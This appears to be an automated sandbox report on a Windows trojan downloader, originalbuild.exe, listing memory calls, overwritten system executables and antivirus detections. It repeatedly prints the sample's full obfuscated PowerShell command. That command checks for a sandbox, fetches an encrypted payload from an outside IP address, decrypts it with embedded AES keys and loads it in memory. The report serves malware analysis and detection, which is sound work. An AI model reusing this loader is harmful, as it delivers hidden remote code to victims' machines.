NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 24576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c41000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05660000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 90112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05661000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6f782000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 36864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05677000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0a3e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 389120 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0a3e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06190000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06191000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02960000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6e531000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01eda000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6e532000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01ed2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01ee2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029b1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f4a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01ee3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01ee4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f5b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f57000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01edb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f42000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f55000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01ee5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f4c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2692 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02860000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command if ([System.Environment]::GetEnvironmentVariables().Count -lt 10) {exit -65536;} $typiconBooties = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('OTEuMjE1Ljg1LjE5OA==')); $elidesDiggers = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('NDU5MzQ=')); $agentsTypicon = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('M2EyNWE=')); $elidesBooties = new-object System.Net.Sockets.TcpClient; $elidesBooties.Connect($typiconBooties, [int]$elidesDiggers); $moniasBecram = $elidesBooties.GetStream(); $elidesBooties.SendTimeout = 300000; $elidesBooties.ReceiveTimeout = 300000; $lingasElides = [System.Text.StringBuilder]::new(); $lingasElides.AppendLine('GET /' + $agentsTypicon); $lingasElides.AppendLine('Host: ' + $typiconBooties); $lingasElides.AppendLine(); $bootiesMonias = [System.Text.Encoding]::ASCII.GetBytes($lingasElides.ToString()); $moniasBecram.Write($bootiesMonias, 0, $bootiesMonias.Length); $moniasAgents = New-Object System.IO.MemoryStream; $moniasBecram.CopyTo($moniasAgents); $moniasBecram.Dispose(); $elidesBooties.Dispose(); $moniasAgents.Position = 0; $bootiesDiggers = $moniasAgents.ToArray(); $moniasAgents.Dispose(); $lingasAgents = [System.Text.Encoding]::ASCII.GetString($bootiesDiggers).IndexOf('`r`n`r`n')+1; $lingasTypicon = [System.Text.Encoding]::ASCII.GetString($bootiesDiggers[$lingasAgents..($bootiesDiggers.Length-1)]); $lingasTypicon = [System.Convert]::FromBase64String($lingasTypicon); $diggersCuittle = New-Object System.Security.Cryptography.AesManaged; $diggersCuittle.Mode = [System.Security.Cryptography.CipherMode]::CBC; $diggersCuittle.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $diggersCuittle.Key = [System.Convert]::FromBase64String('bTBxHoHlsFE1FusIuQOatttX0kgSSC4OKDkQ+IjagWQ='); $diggersCuittle.IV = [System.Convert]::FromBase64String('VB4EnrJD2qF3uAbX2nckFA=='); $typiconMonias = $diggersCuittle.CreateDecryptor(); $lingasTypicon = $typiconMonias.TransformFinalBlock($lingasTypicon, 0, $lingasTypicon.Length); $typiconMonias.Dispose(); $diggersCuittle.Dispose(); $agentsBecram = New-Object System.IO.MemoryStream(, $lingasTypicon); $cristiDiggers = New-Object System.IO.MemoryStream; $diggersMonias = New-Object System.IO.Compression.GZipStream($agentsBecram, [IO.Compression.CompressionMode]::Decompress); $diggersMonias.CopyTo($cristiDiggers); $lingasTypicon = $cristiDiggers.ToArray(); $agentsBooties = [System.Reflection.Assembly]::Load($lingasTypicon); $moniasDiggers = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZmlzdHVjYUZyYWdoYW4=')); $elidesMonias = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('bGluZ2FzQ3VpdHRsZQ==')); $bootiesAgents = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Ym9vdGllc0VsaWRlcw==')); $bootiesCristi = $agentsBooties.GetType($moniasDiggers + '.' + $elidesMonias); $elidesLingas = $bootiesCristi.GetMethod($bootiesAgents); $elidesLingas.Invoke($cuittleBooties, (, [string[]] ('C:\Users\test22\AppData\Local\Temp\originalbuild.exe'))); #($cuittleBooties, $cuittleBooties);

cmdline

powershell.exe -WindowStyle hidden -command if ([System.Environment]::GetEnvironmentVariables().Count -lt 10) {exit -65536;} $typiconBooties = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('OTEuMjE1Ljg1LjE5OA==')); $elidesDiggers = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('NDU5MzQ=')); $agentsTypicon = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('M2EyNWE=')); $elidesBooties = new-object System.Net.Sockets.TcpClient; $elidesBooties.Connect($typiconBooties, [int]$elidesDiggers); $moniasBecram = $elidesBooties.GetStream(); $elidesBooties.SendTimeout = 300000; $elidesBooties.ReceiveTimeout = 300000; $lingasElides = [System.Text.StringBuilder]::new(); $lingasElides.AppendLine('GET /' + $agentsTypicon); $lingasElides.AppendLine('Host: ' + $typiconBooties); $lingasElides.AppendLine(); $bootiesMonias = [System.Text.Encoding]::ASCII.GetBytes($lingasElides.ToString()); $moniasBecram.Write($bootiesMonias, 0, $bootiesMonias.Length); $moniasAgents = New-Object System.IO.MemoryStream; $moniasBecram.CopyTo($moniasAgents); $moniasBecram.Dispose(); $elidesBooties.Dispose(); $moniasAgents.Position = 0; $bootiesDiggers = $moniasAgents.ToArray(); $moniasAgents.Dispose(); $lingasAgents = [System.Text.Encoding]::ASCII.GetString($bootiesDiggers).IndexOf('`r`n`r`n')+1; $lingasTypicon = [System.Text.Encoding]::ASCII.GetString($bootiesDiggers[$lingasAgents..($bootiesDiggers.Length-1)]); $lingasTypicon = [System.Convert]::FromBase64String($lingasTypicon); $diggersCuittle = New-Object System.Security.Cryptography.AesManaged; $diggersCuittle.Mode = [System.Security.Cryptography.CipherMode]::CBC; $diggersCuittle.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $diggersCuittle.Key = [System.Convert]::FromBase64String('bTBxHoHlsFE1FusIuQOatttX0kgSSC4OKDkQ+IjagWQ='); $diggersCuittle.IV = [System.Convert]::FromBase64String('VB4EnrJD2qF3uAbX2nckFA=='); $typiconMonias = $diggersCuittle.CreateDecryptor(); $lingasTypicon = $typiconMonias.TransformFinalBlock($lingasTypicon, 0, $lingasTypicon.Length); $typiconMonias.Dispose(); $diggersCuittle.Dispose(); $agentsBecram = New-Object System.IO.MemoryStream(, $lingasTypicon); $cristiDiggers = New-Object System.IO.MemoryStream; $diggersMonias = New-Object System.IO.Compression.GZipStream($agentsBecram, [IO.Compression.CompressionMode]::Decompress); $diggersMonias.CopyTo($cristiDiggers); $lingasTypicon = $cristiDiggers.ToArray(); $agentsBooties = [System.Reflection.Assembly]::Load($lingasTypicon); $moniasDiggers = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZmlzdHVjYUZyYWdoYW4=')); $elidesMonias = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('bGluZ2FzQ3VpdHRsZQ==')); $bootiesAgents = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Ym9vdGllc0VsaWRlcw==')); $bootiesCristi = $agentsBooties.GetType($moniasDiggers + '.' + $elidesMonias); $elidesLingas = $bootiesCristi.GetMethod($bootiesAgents); $elidesLingas.Invoke($cuittleBooties, (, [string[]] ('C:\Users\test22\AppData\Local\Temp\originalbuild.exe'))); #($cuittleBooties, $cuittleBooties);

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW May 10, 2023, 9:58 a.m.	thread_identifier: 2696 thread_handle: 0x00000408 process_identifier: 2692 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command if ([System.Environment]::GetEnvironmentVariables().Count -lt 10) {exit -65536;} $typiconBooties = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('OTEuMjE1Ljg1LjE5OA==')); $elidesDiggers = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('NDU5MzQ=')); $agentsTypicon = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('M2EyNWE=')); $elidesBooties = new-object System.Net.Sockets.TcpClient; $elidesBooties.Connect($typiconBooties, [int]$elidesDiggers); $moniasBecram = $elidesBooties.GetStream(); $elidesBooties.SendTimeout = 300000; $elidesBooties.ReceiveTimeout = 300000; $lingasElides = [System.Text.StringBuilder]::new(); $lingasElides.AppendLine('GET /' + $agentsTypicon); $lingasElides.AppendLine('Host: ' + $typiconBooties); $lingasElides.AppendLine(); $bootiesMonias = [System.Text.Encoding]::ASCII.GetBytes($lingasElides.ToString()); $moniasBecram.Write($bootiesMonias, 0, $bootiesMonias.Length); $moniasAgents = New-Object System.IO.MemoryStream; $moniasBecram.CopyTo($moniasAgents); $moniasBecram.Dispose(); $elidesBooties.Dispose(); $moniasAgents.Position = 0; $bootiesDiggers = $moniasAgents.ToArray(); $moniasAgents.Dispose(); $lingasAgents = [System.Text.Encoding]::ASCII.GetString($bootiesDiggers).IndexOf('`r`n`r`n')+1; $lingasTypicon = [System.Text.Encoding]::ASCII.GetString($bootiesDiggers[$lingasAgents..($bootiesDiggers.Length-1)]); $lingasTypicon = [System.Convert]::FromBase64String($lingasTypicon); $diggersCuittle = New-Object System.Security.Cryptography.AesManaged; $diggersCuittle.Mode = [System.Security.Cryptography.CipherMode]::CBC; $diggersCuittle.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $diggersCuittle.Key = [System.Convert]::FromBase64String('bTBxHoHlsFE1FusIuQOatttX0kgSSC4OKDkQ+IjagWQ='); $diggersCuittle.IV = [System.Convert]::FromBase64String('VB4EnrJD2qF3uAbX2nckFA=='); $typiconMonias = $diggersCuittle.CreateDecryptor(); $lingasTypicon = $typiconMonias.TransformFinalBlock($lingasTypicon, 0, $lingasTypicon.Length); $typiconMonias.Dispose(); $diggersCuittle.Dispose(); $agentsBecram = New-Object System.IO.MemoryStream(, $lingasTypicon); $cristiDiggers = New-Object System.IO.MemoryStream; $diggersMonias = New-Object System.IO.Compression.GZipStream($agentsBecram, [IO.Compression.CompressionMode]::Decompress); $diggersMonias.CopyTo($cristiDiggers); $lingasTypicon = $cristiDiggers.ToArray(); $agentsBooties = [System.Reflection.Assembly]::Load($lingasTypicon); $moniasDiggers = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZmlzdHVjYUZyYWdoYW4=')); $elidesMonias = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('bGluZ2FzQ3VpdHRsZQ==')); $bootiesAgents = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Ym9vdGllc0VsaWRlcw==')); $bootiesCristi = $agentsBooties.GetType($moniasDiggers + '.' + $elidesMonias); $elidesLingas = $bootiesCristi.GetMethod($bootiesAgents); $elidesLingas.Invoke($cuittleBooties, (, [string[]] ('C:\Users\test22\AppData\Local\Temp\originalbuild.exe'))); #($cuittleBooties, $cuittleBooties); filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000410	1	1	0
ShellExecuteExW May 10, 2023, 9:58 a.m.	show_type: 0 filepath_r: powershell.exe parameters: -WindowStyle hidden -command if ([System.Environment]::GetEnvironmentVariables().Count -lt 10) {exit -65536;} $typiconBooties = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('OTEuMjE1Ljg1LjE5OA==')); $elidesDiggers = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('NDU5MzQ=')); $agentsTypicon = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('M2EyNWE=')); $elidesBooties = new-object System.Net.Sockets.TcpClient; $elidesBooties.Connect($typiconBooties, [int]$elidesDiggers); $moniasBecram = $elidesBooties.GetStream(); $elidesBooties.SendTimeout = 300000; $elidesBooties.ReceiveTimeout = 300000; $lingasElides = [System.Text.StringBuilder]::new(); $lingasElides.AppendLine('GET /' + $agentsTypicon); $lingasElides.AppendLine('Host: ' + $typiconBooties); $lingasElides.AppendLine(); $bootiesMonias = [System.Text.Encoding]::ASCII.GetBytes($lingasElides.ToString()); $moniasBecram.Write($bootiesMonias, 0, $bootiesMonias.Length); $moniasAgents = New-Object System.IO.MemoryStream; $moniasBecram.CopyTo($moniasAgents); $moniasBecram.Dispose(); $elidesBooties.Dispose(); $moniasAgents.Position = 0; $bootiesDiggers = $moniasAgents.ToArray(); $moniasAgents.Dispose(); $lingasAgents = [System.Text.Encoding]::ASCII.GetString($bootiesDiggers).IndexOf('`r`n`r`n')+1; $lingasTypicon = [System.Text.Encoding]::ASCII.GetString($bootiesDiggers[$lingasAgents..($bootiesDiggers.Length-1)]); $lingasTypicon = [System.Convert]::FromBase64String($lingasTypicon); $diggersCuittle = New-Object System.Security.Cryptography.AesManaged; $diggersCuittle.Mode = [System.Security.Cryptography.CipherMode]::CBC; $diggersCuittle.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $diggersCuittle.Key = [System.Convert]::FromBase64String('bTBxHoHlsFE1FusIuQOatttX0kgSSC4OKDkQ+IjagWQ='); $diggersCuittle.IV = [System.Convert]::FromBase64String('VB4EnrJD2qF3uAbX2nckFA=='); $typiconMonias = $diggersCuittle.CreateDecryptor(); $lingasTypicon = $typiconMonias.TransformFinalBlock($lingasTypicon, 0, $lingasTypicon.Length); $typiconMonias.Dispose(); $diggersCuittle.Dispose(); $agentsBecram = New-Object System.IO.MemoryStream(, $lingasTypicon); $cristiDiggers = New-Object System.IO.MemoryStream; $diggersMonias = New-Object System.IO.Compression.GZipStream($agentsBecram, [IO.Compression.CompressionMode]::Decompress); $diggersMonias.CopyTo($cristiDiggers); $lingasTypicon = $cristiDiggers.ToArray(); $agentsBooties = [System.Reflection.Assembly]::Load($lingasTypicon); $moniasDiggers = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZmlzdHVjYUZyYWdoYW4=')); $elidesMonias = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('bGluZ2FzQ3VpdHRsZQ==')); $bootiesAgents = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Ym9vdGllc0VsaWRlcw==')); $bootiesCristi = $agentsBooties.GetType($moniasDiggers + '.' + $elidesMonias); $elidesLingas = $bootiesCristi.GetMethod($bootiesAgents); $elidesLingas.Invoke($cuittleBooties, (, [string[]] ('C:\Users\test22\AppData\Local\Temp\originalbuild.exe'))); #($cuittleBooties, $cuittleBooties); filepath: powershell.exe	1	1	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0002be00', u'virtual_address': u'0x00094000', u'entropy': 7.166690149287527, u'name': u'.rsrc', u'virtual_size': u'0x0002bc1a'}

entropy

7.16669014929

description

A section with a high entropy has been found

entropy

0.232604373757

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW May 10, 2023, 9:58 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW May 10, 2023, 9:58 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Communicates with host for which no DNS query was performed (1 event)

host

91.215.85.198

Creates a suspicious Powershell process (2 events)

option	-windowstyle hidden				value	Attempts to execute command with a hidden window
option	-windowstyle hidden				value	Attempts to execute command with a hidden window

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

File has been identified by 40 AntiVirus engines on VirusTotal as malicious (40 events)

Lionic	Trojan.Win32.PsDownload.4!c
MicroWorld-eScan	Trojan.GenericKD.66879086
FireEye	Generic.mg.946640d04e9bc341
ALYac	Trojan.GenericKD.66879086
Malwarebytes	Trojan.Crypt.MSIL
K7AntiVirus	Trojan ( 0059cfdb1 )
Alibaba	TrojanDownloader:MSIL/PsDownload.01b3ead7
K7GW	Trojan ( 0059cfdb1 )
CrowdStrike	win/malicious_confidence_100% (W)
BitDefenderTheta	Gen:NN.ZemsilF.36196.Wm2@aq3FS0d
Cyren	W32/ABRisk.ADYJ-0957
Elastic	malicious (high confidence)
ESET-NOD32	a variant of MSIL/Agent_AGen.AXD
APEX	Malicious
Paloalto	generic.ml
BitDefender	Trojan.GenericKD.66879086
Tencent	Win32.Trojan.FalseSign.Swhl
F-Secure	Heuristic.HEUR/AGEN.1304559
VIPRE	Trojan.GenericKD.66879086
McAfee-GW-Edition	Artemis!Trojan
Sophos	Mal/Generic-S
Ikarus	Trojan.MSIL.Agent
Webroot	W32.Trojan.Gen
Google	Detected
Avira	HEUR/AGEN.1304559
Antiy-AVL	Trojan[Downloader]/MSIL.PsDownload
Gridinsoft	Ransom.Win32.Sabsik.ca
Arcabit	Trojan.Generic.D3FC7E6E
ZoneAlarm	HEUR:Trojan-Downloader.MSIL.PsDownload.gen
AhnLab-V3	Trojan/Win.Generic.C5423436
Acronis	suspicious
MAX	malware (ai score=83)
Cylance	unsafe
Panda	Trj/Chgt.AD
TrendMicro-HouseCall	TROJ_GEN.R011H0CE723
Rising	Downloader.PsDownload!8.E547 (CLOUD)
SentinelOne	Static AI - Malicious PE
Fortinet	PossibleThreat
Cybereason	malicious.220500
DeepInstinct	MALICIOUS

originalbuild.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All